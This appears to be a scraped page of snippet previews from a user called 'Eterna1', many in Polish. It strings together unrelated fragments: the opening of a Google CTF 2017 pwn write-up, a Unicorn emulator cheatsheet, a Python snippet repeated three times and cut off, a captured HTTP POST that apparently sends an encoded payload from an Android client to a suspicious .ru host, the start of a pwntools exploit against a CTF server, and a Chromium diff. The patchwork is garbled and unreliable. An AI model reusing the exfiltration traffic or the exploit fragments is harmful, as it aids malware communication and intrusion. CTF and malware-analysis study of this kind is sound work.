Eterna1

My solution for task wiki

• Event: Google Capture The Flag 2017 (Quals)
• Category: pwn
• Points: 243
• Solves: ~30

We're given one file which can be downloaded here.
Task description - Challenge running at wiki.ctfcompetition.com:1337.

Eterna1

W tym zadaniu dostajemy binarkę która działa po stronie serwera i źródło w C++.

programem checksec który instaluje się razem z pwndbg można sprawdzić z jakimi zabezpieczeniami program został skompilowany.

b@x:~/Desktop/mikhail > checksec story
[*] '/home/b/Desktop/mikhail/story'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
 Stack: No canary found

Eterna1

Cheatsheet

from unicorn import * - ładujemy bibliotekę unicorna i stałe
from unicorn.x86_const import * - ładujemy stałe dotyczące architektur x86 i x86_64

stałe występujące w module unicorn:

UC_API_MAJOR                UC_ERR_VERSION              UC_MEM_READ                 UC_PROT_ALL
UC_API_MINOR                UC_ERR_WRITE_PROT           UC_MEM_READ_AFTER           UC_PROT_EXEC

Eterna1

from unicorn import *
from unicorn.x86_const import *
import struct

 
def read(name):
    with open(name) as f:
        return f.read()
        
def u32(data): #zamien ciag 4 bajtow na liczbe w formacie little-endian

Eterna1

from unicorn import *
from unicorn.x86_const import *
import struct

 
def read(name):
    with open(name) as f:
        return f.read()
        
def u32(data): #zamien ciag 4 bajtow na liczbe w formacie little-endian

Eterna1

from unicorn import *
from unicorn.x86_const import *
import struct

 
def read(name):
    with open(name) as f:
        return f.read()
        
def u32(data): #zamien ciag 4 bajtow na liczbe w formacie little-endian

Eterna1

POST /private/tuk_tuk.php HTTP/1.1
Content-Length: 104
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.1.2; sdk Build/MASTER)
Host: aktivierung-342675-deustchland-services.ru
Connection: close
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded

p=NjBkMDgxOTg5ODYyMmUxOThjY2Y2ZTI3OGYyNDZjMDE1OTJhOWE3M2ZiZjZlODVkMGE5NWMyNDVm
ZjY3NTQ5ZTc3YWNhOGQxOGM=

Eterna1

from pwn import *

#r = remote("localhost", 1337) 
r = remote("malwaredb2.zajebistyc.tf", 30103) 

print r.recvuntil("5. Exit\n\n---------------------------------------")


def new(name, description="", sha="", ransom=""):
	r.send("1\n")

Eterna1

diff --git a/content/browser/BUILD.gn b/content/browser/BUILD.gn
index 7a1d4333934a..3218fb403839 100644
--- a/content/browser/BUILD.gn
+++ b/content/browser/BUILD.gn
@@ -236,6 +236,14 @@ jumbo_source_set("browser") {
   ]
 
   sources = [
+    "CTF/person_interface_impl.cc",
+    "CTF/person_interface_impl.h",

Eterna1

#! /usr/bin/python
import subprocess
import sys
import time
from threading import Timer

def kill(proc):
    proc.kill()

def main():